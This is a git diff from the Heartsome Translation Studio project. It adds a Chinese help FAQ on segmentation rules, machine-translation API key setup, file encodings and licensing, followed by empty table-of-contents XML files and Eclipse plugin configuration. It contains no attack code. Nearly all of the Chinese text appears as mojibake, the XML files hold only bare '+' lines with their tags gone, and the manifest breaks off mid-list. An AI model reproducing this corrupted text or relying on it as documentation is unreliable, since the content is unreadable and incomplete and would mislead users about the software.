    + + + åªèƒ½åˆå¹¶ã€åˆ†å‰²æœªé”定状æ€çš„文本段。 + +
    + + + é…置分段规则 + + 对分段规则的é…置通过分段规则管ç†å™¨æ¥å®Œæˆï¼Œè¯¥åŠŸèƒ½ä»…在专业版åŠæ——舰版中æ供。è¦æ‰“开分段规则管ç†å™¨ï¼Œè¯·ç‚¹å‡»é«˜çº§èœå• + > 分段规则管ç†å™¨ã€‚
    + 分段规则管ç†å™¨ + + + + + + + + +
    æ¯ä¸ª SRX 文件都å¯ä»¥ä¿å­˜å¤šä¸ªè§„则,å¯ä»¥åœ¨è¿™é‡Œæ·»åŠ æˆ–编辑 SRX 分段规则文件。对 SRX + 文件中的分段规则的é…置分为如下两个部分:
    + + + + 语言规则 + + å³é’ˆå¯¹ç‰¹å®šè¯­è¨€ï¼ˆä¾‹å¦‚中文)的分段规则,通常是与该语言的特定标点符å·æˆ–字符相关的内容。 + + + + 选择è¦ç¼–辑的分段规则 SRX + 文件,点击编辑按钮; + +
    + 分段规则管ç†å™¨å¯¹è¯æ¡† + + + + + + + + +
    +
    + + + 如果ä¸æ‰“算修改分段规则文件å,直接点击确定按钮;
    + é…置分段规则 + + + + + + + + +
    +
    + + + 在语言规则中,选择è¦ç¼–辑的语言,点击编辑语言规则按钮,设置如下内容: + +
    + é…置语言规则 + + + + + + + + +
    + + + + 需è¦åˆ†æ®µ + + 符åˆè¯¥è§„则的情况是å¦éœ€è¦åˆ†æ®µï¼ˆä¸éœ€è¦åˆ†æ®µçš„时候,通常是è¦åˆ†æ®µçš„情况中的个别例外)。 + + + + åˆ†æ®µä¹‹å‰ + + 在该字符(正则表达å¼ï¼‰ä¹‹åŽåˆ†æ®µ/ä¸åˆ†æ®µ + + + + åˆ†æ®µä¹‹åŽ + + 在该字符(正则表达å¼ï¼‰ä¹‹å‰åˆ†æ®µ/ä¸åˆ†æ®µ + + +
    + + + 分别点击确定ã€ä¿å­˜æŒ‰é’®ã€‚ + +
    +
    + + + 映射规则 + + 语言规则的å¤ç”¨è§„则,例如:é…ç½® zh-CNã€zh-HKã€zh-TW 都使用 zh 规则 + + + + å‰ 2 步与语言规则的 1~2 相åŒï¼› + + + + 在映射规则中,选择è¦ç¼–辑的规则集,点击编辑映射规则按钮; + +
    + é…置映射规则 + + + + + + + + +
    +
    + + + 选择具体的映射规则,点击编辑按钮,设置如下内容:
    + 编辑映射规则 + + + + + + + + +
    + + + + è¯­è¨€æ¨¡å¼ + + 输入è¦åŒ¹é…的语言代ç çš„æ­£åˆ™è¡¨è¾¾å¼ + + + + 语言规则 + + 选择已添加的语言规则 + + +
    + + + 设置完æˆåŽï¼Œä¿å­˜æ‰€æœ‰è®¾ç½®ï¼Œå¹¶å…³é—­å¤šä½™çš„对è¯æ¡†ã€‚ + +
    +
    +
    + + è¦ä½¿ç”¨è‡ªå·±æ·»åŠ æˆ–编辑åŽçš„ SRX 分段规则文件,请在转æ¢æºæ–‡ä»¶ä¸º XLIFF 时选择相应的 + SRX 文件å³å¯ã€‚ +
    +
    +
    +
    + + + + 机器翻译如何使用? + + + + HSTS ç›®å‰æ”¯æŒ Google Translate å’Œ Bing Translator + 两ç§æœºå™¨ç¿»è¯‘引擎,它们分别都需è¦ç”³è¯·å¯†é’¥ï¼Œå¹¶åœ¨ HSTS 中正确设置åŽæ‰èƒ½ä½¿ç”¨ã€‚ + + + + Google Translate + + Google 现åªæ供收费版的 Google Translate v2 + æœåŠ¡ï¼Œæ‰€ä»¥å¿…é¡»è¦å…ˆè´­ä¹°ç›¸åº”çš„æœåŠ¡ã€‚ + + + + è´­ä¹° + + + + 若无 Google å¸æˆ·ï¼Œè¯·å…ˆè®¿é—® https://accounts.google.com/SignUp + 注册; + + + + 访问 https://code.google.com/apis/console#:billing + ,点击 Create Project + 按钮创建项目; + + + + 从æœåŠ¡åˆ—表中找到Translate + API,点击其åŽé¢æ˜¾ç¤ºä¸ºOFFçš„ + Activate + 按钮,ä¾æ¬¡åŒæ„弹出的两个æœåŠ¡æ¡æ¬¾ï¼› + + + + 在左边选择Billing分类,或é‡æ–°è®¿é—®ä¸Šè¿°ç½‘å€ï¼Œç‚¹å‡» + Google Checkout + 支付,并根æ®æ示添加支付方å¼ï¼Œå¦‚信用å¡ä¿¡æ¯ç­‰ï¼› + + + + 支付完æˆåŽï¼Œåœ¨å·¦è¾¹é€‰æ‹©API Access分类,选择并å¤åˆ¶ + API Key åŽé¢çš„值备用。 + + + + + + 设置 + + + + è¿è¡Œ HSTS,打开工具èœå• > + 选项 > + 翻译 > Google + Translateï¼› + + + + 在密钥文本框中,粘贴刚æ‰å¤åˆ¶çš„API + Key,点击测试å¯ç”¨æ€§æŒ‰é’®ï¼› + + + + 测试通过åŽï¼Œå¯ç»§ç»­ä¿®æ”¹å¦‚下设置: + + + + 自动机器翻译 + + + + 当文本段无 Google Translate + 译文时自动执行 + + åªå¯¹æœªç» Google 翻译的文本段执行,ä¸é‡å¤æ交相åŒçš„æ–‡æœ¬æ®µï¼ŒèŠ‚çœ Google + 翻译的æµé‡è´¹ç”¨ + + + + ä¸ç®¡æ–‡æœ¬æ®µæœ‰æ—  Google Translate + 译文,始终自动执行 + + ä¸ç®¡æ˜¯å¦ç»è¿‡ Google 翻译都始终执行 Google + 翻译,适用于æºæ–‡å†…容ç»å¸¸å˜åŒ–的时候,å¯èƒ½é€ æˆé¢å¤–çš„ Google æµé‡è´¹ç”¨ + + + + 手动执行 + + ä¸è‡ªåŠ¨æ‰§è¡Œ Google 翻译,åªåœ¨æœ‰éœ€è¦çš„时候手动执行 + + + + + + 预存 Google Translate + 翻译 + + å¯ç”¨åŽå°†åœ¨é¢„翻译时,将 Google Translate 译文预存到 XLIFF + 中 + + + + + + 设置妥当åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®ã€‚ + + + + + + 如果自动机器翻译没有设置为手动,则在跳转到文本段时,会自动得到 Google + 翻译结果;å¦åˆ™ï¼Œå¯ä»¥ç‚¹å‡»ç¿»è¯‘èœå• > Google + æœºå™¨ç¿»è¯‘ï¼Œæ‰‹åŠ¨èŽ·å– Google Translate 的翻译。 + + + + Bing Translator + + Microsoft æ供的 Bing Translator æœåŠ¡ï¼Œå…费用户æ¯æœˆå¯ä»¥ä½¿ç”¨ 2000000 + 个字符的æµé‡ã€‚ + + + + 申请 + + + + 访问 http://msdn.microsoft.com/en-us/library/hh454950.aspx + ,点击å³ä¸Šè§’çš„ Sign In 登录或注册 Microsoft + Live å¸å·ï¼› + + + + 登录åŽè‡ªåŠ¨è¿”回上一个页é¢ï¼Œç‚¹å‡» Azure + Marketplace 链接,点击 Sign + Up 注册微软 Azure 市场; + + + + 输入必填信æ¯ã€å¹¶åœ¨ Country / Region + 中选择Worldwide + (简体中文),然åŽç‚¹å‡»ç»§ç»­æŒ‰é’®ï¼› + + + + åŒæ„ Windows Azure Marketplace + çš„æœåŠ¡æ¡æ¬¾ï¼Œç‚¹å‡»æ³¨å†ŒæŒ‰é’®ï¼› + + + + åŒæ„ Microsoft Translator + æœåŠ¡æ¡æ¬¾ï¼Œç‚¹å‡»æ³¨å†Œè®¢é˜… Microsoft + Translator æœåŠ¡ï¼› + + + + 访问 https://datamarket.azure.com/developer/applications/ + ,点击注册按钮; + + + + 输入必填信æ¯ï¼Œé™¤å®¢æˆ·ç«¯å¯†é’¥ä¸è¦ä¿®æ”¹ä¹‹å¤–,其他信æ¯å¯ä»¥éšä¾¿è¾“入,将客户端 + ID + 和客户端密钥分别å¤åˆ¶å¹¶ä¿å­˜èµ·æ¥å¤‡ç”¨ï¼Œç‚¹å‡»åˆ›å»ºæŒ‰é’®ã€‚ + + + + + + 设置 + + Bing Translator 在 HSTS 中的设置åŠä½¿ç”¨å‡ä¸Ž Google Translate + 几乎完全一样,唯一的区别是 Bing Translator 需è¦è¾“入客户端 + ID 和密钥,而 Google Translate + åªè¦è¾“入密钥。详情请å‚考 Google Translate + 的设置。 + + + + + + + + + + æºæ–‡æœ‰é”™è¯¯ï¼Œå¦‚何改正? + + + + 默认情况下,HSTS + ä¸å…许编辑文本段的æºæ–‡ï¼Œä»¥é˜²æ­¢è¯¯æ“作。但如果æºæ–‡ä¸­ç¡®å®žæœ‰é”™è¯¯éœ€è¦æ”¹æ­£ï¼Œåˆ™å¯ä»¥ä½¿ç”¨ç¼–辑èœå• + > 编辑æºæ–‡ > + 编辑当å‰æºæ–‡æˆ–编辑所有æºæ–‡ï¼Œä¸´æ—¶è§£é™¤å¯¹æºæ–‡çš„é”定。使用编辑当å‰æºæ–‡ï¼Œåˆ™åœ¨ç¼–辑完当å‰æºæ–‡åŽä¼šè‡ªåŠ¨å›žåˆ°ç¦æ­¢ç¼–辑æºæ–‡çš„状æ€ï¼›è€Œä½¿ç”¨ç¼–辑所有æºæ–‡ï¼Œåˆ™éœ€è¦æ‰‹åŠ¨å–消编辑æºæ–‡ï¼Œå¦åˆ™æ‰€æœ‰æ–‡æœ¬æ®µçš„æºæ–‡éƒ½ä¸€ç›´å¤„于å¯ç¼–辑状æ€ã€‚ + + + + + + 默认的文本段过滤规则ä¸å¤Ÿç”¨ï¼Œæ€Žä¹ˆåŠžï¼Ÿ + + + + å¯ä»¥ç‚¹å‡»æ–‡æœ¬æ®µè¿‡æ»¤å™¨å³è¾¹çš„自定义过滤器按钮,添加自定义的文本段过滤规则,详情请è§ã€‚ + + + + + + 如何识别文件编ç ï¼Ÿ + + + + 如下基于文本文件的类型,å¯ä»¥ä½¿ç”¨ EmEditor + 或其他支æŒå¤šç§æ–‡ä»¶ç¼–ç çš„文本编辑器打开,查看其正确的编ç ï¼š + + + + .html, .htm + + + + .inx + + + + .js + + + + .mif + + + + .po + + + + .properties + + + + .rc + + + + .resx + + + + .rtf + + + + .sdlxliff + + + + .ttx + + + + .txt + + + + .xlf + + + + .xml + + + + 如下基于 XML 的压缩包格å¼ï¼Œåˆ™é€šå¸¸ä¸º UTF-8: + + + + .doc, .ppt, + .xls(通过 OpenOffice 间接转æ¢æ”¯æŒï¼‰ + + + + .docx, .pptx, + .xlsx + + + + .idml + + + + .odt, .odp, + .ods + + + + + + + + æ›´æ¢ç”µè„‘/é‡è£…系统åŽï¼Œè®¸å¯è¯æ— æ³•ä½¿ç”¨ï¼Œå¦‚何解决? + + + + 在更æ¢ç”µè„‘/é‡è£…系统之å‰ï¼Œåº”先在旧电脑/原系统中使用帮助èœå• > + 许å¯è¯ç®¡ç† > + å–消激活的功能,先å–消激活许å¯è¯ã€‚完æˆæ›´æ¢/é‡è£…之åŽï¼Œç¬¬ä¸€æ¬¡è¿è¡Œè½¯ä»¶ä¼šæ示激活许å¯è¯ï¼ŒæŒ‰å±å¹•çš„å‘导æ“作å³å¯ã€‚ + + 若已ç»å®Œæˆäº†æ›´æ¢ç”µè„‘/é‡è£…系统,但之å‰æœªå…ˆå–消激活许å¯è¯ï¼Œåˆ™è¯·è”系技术支æŒäººå‘˜ï¼Œä»¥äººå·¥æ–¹å¼å–消许å¯è¯åœ¨æ—§ç”µè„‘/原系统中的激活,然åŽæ‰å¯ä»¥é‡æ–°åœ¨æ–°ç”µè„‘/新系统中激活该许å¯è¯ã€‚详情è§ã€‚ + + + + + + 添加ã€å¤åˆ¶é¡¹ç›®æ–‡ä»¶ï¼Œæœ‰æ²¡æœ‰æ›´æ–¹ä¾¿çš„æ“作? + + + + HSTS 的项目视图,与 Windows + 系统的资æºç®¡ç†å™¨ï¼Œæˆ– Mac OS çš„Finderã€Linux çš„ + Nautilus等(下é¢ç»Ÿç§°æ–‡ä»¶ç®¡ç†å™¨ï¼‰ç±»ä¼¼ï¼Œåœ¨é¡¹ç›®ä¸­å¯¹å­æ–‡ä»¶å¤¹è¿›è¡Œåˆ›å»ºã€é‡å‘½åã€åˆ é™¤ç­‰æ“作,分别与上述文件管ç†å™¨æœ‰åŒæ ·çš„作用。 + + 所以,å¯ä»¥å°†æ“作系统文件管ç†å™¨ä¸­çš„文件直接拖放到项目中,完æˆå°†æ–‡ä»¶å¤åˆ¶åˆ°é¡¹ç›®ä¸­çš„æ“作。å之,将文件从项目中拖到文件管ç†å™¨ä¸­ï¼Œåˆ™å¯ä»¥å°†é¡¹ç›®æ–‡ä»¶å¤åˆ¶æˆ–移动到拖放的目标ä½ç½®ã€‚在项目的ä¸åŒæ–‡ä»¶å¤¹ä¹‹é—´æ‹–动文件/文件夹,则为直接移动。此外,也å¯ä»¥ä½¿ç”¨ç¼–辑èœå• + > + å¤åˆ¶ã€å‰ªåˆ‡ã€ç²˜è´´ç­‰åŠŸèƒ½æ¥æ“作项目中的文件ã€æ–‡ä»¶å¤¹ã€‚ + + + 从项目中将文件拖出æ¥çš„时候,如果目标ä½ç½®ä¸ŽHeartsome + Workspace处于åŒä¸€ä¸ªç£ç›˜åˆ†åŒºï¼Œåˆ™é»˜è®¤çš„æ“作是移动而ä¸æ˜¯å¤åˆ¶ã€‚故推è使用快æ·é”® + Ctrl/Command+Cã€Ctrl/Command+V + 从项目中å¤åˆ¶æ–‡ä»¶ï¼Œä»¥é¿å…æ„外地将文件从项目中移走。 + + + + + + + 对于文件的æ“作,有时会以在项目视图中选择的一个或多个文件为准,有时åˆæ˜¯ä»¥å½“å‰æ­£åœ¨ç¼–辑的文件为准,如何判断? + + + + 当项目视图被激活(带有ä¸åŒé¢œè‰²çš„外框)时,æ“作的文件å³ä¸ºé¡¹ç›®è§†å›¾ä¸­é€‰æ‹©çš„文件;当编辑器被激活时,æ“作的文件å³ä¸ºæ­£åœ¨ç¼–辑的文件。 + + + + + + 能å¦å¯¹æ–‡æœ¬æ®µè¿›è¡Œæ‰¹é‡æ“作? + + + + 编辑ã€ç¿»è¯‘èœå•ä¸‹çš„大部分针对文本段的功能(如修改文本段状æ€ã€æ·»åŠ /删除批注等)都支æŒåŒæ—¶å¯¹å¤šä¸ªæ–‡æœ¬æ®µè¿›è¡Œæ‰¹é‡æ“作,方法是使用 + Ctrl 或 + Shift+鼠标左键å•å‡»æ¥é€‰æ‹©ï¼Œç„¶åŽæ‰§è¡Œç›¸åº”的功能,就会对所有选中的文本段生效。 + + + + + + 有些文本段是ä¸éœ€è¦ç¿»è¯‘的,应该怎样处ç†è¿™äº›æ–‡æœ¬æ®µæœ€åˆé€‚? + + + + 有其他 CAT + 工具使用习惯的用户å¯èƒ½ä¼šä½¿ç”¨å¤åˆ¶æºæ–‡åˆ°ç›®æ ‡ã€æ‰¹å‡†æ–‡æœ¬æ®µç­‰ä¸€ç³»åˆ—功能æ¥å®žçŽ°æ‰€éœ€çš„效果。而在 + HSTS 中,更简å•çš„推èåšæ³•æ˜¯ï¼šå°†è¿™äº›ä¸éœ€è¦ç¿»è¯‘的文本段é”定ã€å¹¶ä¿ç•™å…¶è¯‘æ–‡ä¸ºç©ºç™½ã€‚åœ¨è½¬æ¢ XLIFF + 为目标文件的时候,对于译文为空白的文本段,HSTS 会自动å–å…¶æºæ–‡ã€‚ + + + + + + 执行æŸäº›æ“作(如导出项目)时,出现资æºä¸åŒæ­¥ (resource out of sync) + çš„æ示,应如何解决? + + + + 在项目视图中选择被æ“作的文件所属的项目,点击å³é”®èœå• + > 刷新,然åŽå†é‡æ–°æ‰§è¡Œå¯¼å‡ºé¡¹ç›®ç­‰æ“作。 + + + + + + HSTS 把项目文件ä¿å­˜åœ¨å“ªé‡Œäº†ï¼Ÿ + + + + 首次è¿è¡Œ HSTS 的时候,软件会自动在当å‰ç”¨æˆ·ç›®å½•ï¼ˆåœ¨ Windows + 中为系统环境å˜é‡%USERPROFILE%ã€åœ¨ Mac OS/Linux + 中则为$HOME所指å‘的文件夹路径)中创建一个å为Heartsome + Workspace的文件夹,称为Heartsome 工作空间目录。在 HSTS + 中创建的所有项目åŠå…¶æ‰€æœ‰å­æ–‡ä»¶å¤¹ã€æ–‡ä»¶éƒ½ä¿å­˜åœ¨è¯¥ç›®å½•ä¸­ã€‚ + + + + + + 使用 HSTS æ—¶å‡ºçŽ°äº†é—®é¢˜ï¼Œåº”å¦‚ä½•å‘ Heartsome 寻求帮助? + + + + å¯ä»¥å‘邮件到 Heartsome 技术支æŒé‚®ç®±ï¼štech_support@heartsome.net,并在邮件中尽å¯èƒ½å¤šåœ°æ供如下信æ¯ï¼Œä»¥ä¾¿æ”¯æŒäººå‘˜èƒ½æ›´é«˜æ•ˆåœ°äº†è§£æ‚¨é¢ä¸´çš„问题: + + + + æ“作系统åŠç‰ˆæœ¬ï¼Œä¾‹å¦‚ Windows XP 32-bit SP3ï¼› + + + + Java è¿è¡Œæ—¶çŽ¯å¢ƒ (Java Runtime Environment, JRE) 版本,例如 Java + 1.7.0_05-b05ï¼› + + + + Heartsome 产å“版本类型åŠç‰ˆæœ¬å·ï¼Œä¾‹å¦‚ Translation Studio 旗舰版 8.0.0 + Build 20120907ï¼› + + + + 详细的æ“作步骤; + + + + 实际得到的结果; + + + + 预期想è¦å¾—到的结果; + + + + 样本文件,因有些问题åªåœ¨ç‰¹å®šçš„文件中出现; + + + + 错误现象截图; + + + + 其他能帮助支æŒäººå‘˜å®šä½é—®é¢˜çš„任何信æ¯ã€‚ + + + + + + + + HSTS 支æŒå“ªäº›ç‰ˆæœ¬çš„ XLIFFã€TMXã€TBX 标准? + + + + HSTS 支æŒçš„标准版本分别如下: + + + + XLIFF v1.2 + + + + TMX v1.4ã€v1.4b + + + + TBX v0.2 + + + + + + + + 从 HSTS 导出的 TMX 文件如何导入 Trados? + + + + 请在使用 HSTS 导出记忆库为 TMX 时选择一级 + TMX(ä¸å«æ ‡è®°ï¼‰ã€è‡ªå®šä¹‰ç¼–ç å¤é€‰æ¡†ï¼Œå¹¶åœ¨ä¸‹æ‹‰åˆ—表中选择 + UTF-16LE,并使用工具èœå• > + TMX Validator > + 文件èœå• > æ¸…ç† TMX + 文件,处ç†å®ŒæˆåŽå†å¯¼å…¥ Trados。 + + +
    +
    +
    +
    diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch1Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch1Toc.xml new file mode 100644 index 0000000..9487ff4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch1Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch2Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch2Toc.xml new file mode 100644 index 0000000..822cbfc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch2Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch3Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch3Toc.xml new file mode 100644 index 0000000..b98509a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch3Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch4Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch4Toc.xml new file mode 100644 index 0000000..d5979d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch4Toc.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch5Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch5Toc.xml new file mode 100644 index 0000000..17c05c4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch5Toc.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch6Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch6Toc.xml new file mode 100644 index 0000000..276529b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch6Toc.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch7Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch7Toc.xml new file mode 100644 index 0000000..b206572 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch7Toc.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch8Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch8Toc.xml new file mode 100644 index 0000000..d906453 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch8Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/ch9Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch9Toc.xml new file mode 100644 index 0000000..7d296f0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/ch9Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/demoToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/demoToc.xml new file mode 100644 index 0000000..646cdd6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/demoToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/imagToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/imagToc.xml new file mode 100644 index 0000000..f7b12f0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/imagToc.xml @@ -0,0 +1,181 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/en/indexToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/en/indexToc.xml new file mode 100644 index 0000000..6f003ec --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/en/indexToc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch1Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch1Toc.xml new file mode 100644 index 0000000..9c2a792 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch1Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch2Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch2Toc.xml new file mode 100644 index 0000000..2788f1b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch2Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch3Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch3Toc.xml new file mode 100644 index 0000000..877a6e9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch3Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch4Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch4Toc.xml new file mode 100644 index 0000000..40a206f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch4Toc.xml @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch5Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch5Toc.xml new file mode 100644 index 0000000..8f19f64 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch5Toc.xml @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch6Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch6Toc.xml new file mode 100644 index 0000000..b307002 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch6Toc.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch7Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch7Toc.xml new file mode 100644 index 0000000..6eb7a1a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch7Toc.xml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch8Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch8Toc.xml new file mode 100644 index 0000000..f8e8b4d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch8Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch9Toc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch9Toc.xml new file mode 100644 index 0000000..38bb36b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/ch9Toc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/demoToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/demoToc.xml new file mode 100644 index 0000000..300c036 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/demoToc.xml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/imagToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/imagToc.xml new file mode 100644 index 0000000..a5ac30e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/imagToc.xml @@ -0,0 +1,166 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.help/toc/zh/indexToc.xml b/ts/net.heartsome.cat.ts.ui.help/toc/zh/indexToc.xml new file mode 100644 index 0000000..3257c0e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/toc/zh/indexToc.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.plugin/.classpath b/ts/net.heartsome.cat.ts.ui.plugin/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.plugin/.gitignore b/ts/net.heartsome.cat.ts.ui.plugin/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/ts/net.heartsome.cat.ts.ui.plugin/.project b/ts/net.heartsome.cat.ts.ui.plugin/.project new file mode 100644 index 0000000..4fb820d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.plugin + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.plugin/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.plugin/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..27db29c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Mar 02 09:48:55 CST 2012 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.plugin/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.plugin/META-INF/MANIFEST.MF new file mode 100644 index 0000000..5a8ac52 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/META-INF/MANIFEST.MF @@ -0,0 +1,30 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI Plugin +Bundle-SymbolicName: net.heartsome.cat.ts.ui.plugin;singleton:=true +Bundle-Version: 8.0.1.R8b_v20121224 +Bundle-Activator: net.heartsome.cat.ts.ui.plugin.Activator +Require-Bundle: net.heartsome.xml;bundle-version="1.0.0", + org.eclipse.ui;bundle-version="3.7.0", + org.eclipse.core.resources;bundle-version="3.7.100", + org.eclipse.core.runtime;bundle-version="3.7.0", + net.heartsome.cat.common.core, + net.heartsome.cat.ts.ui.xliffeditor.nattable;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + 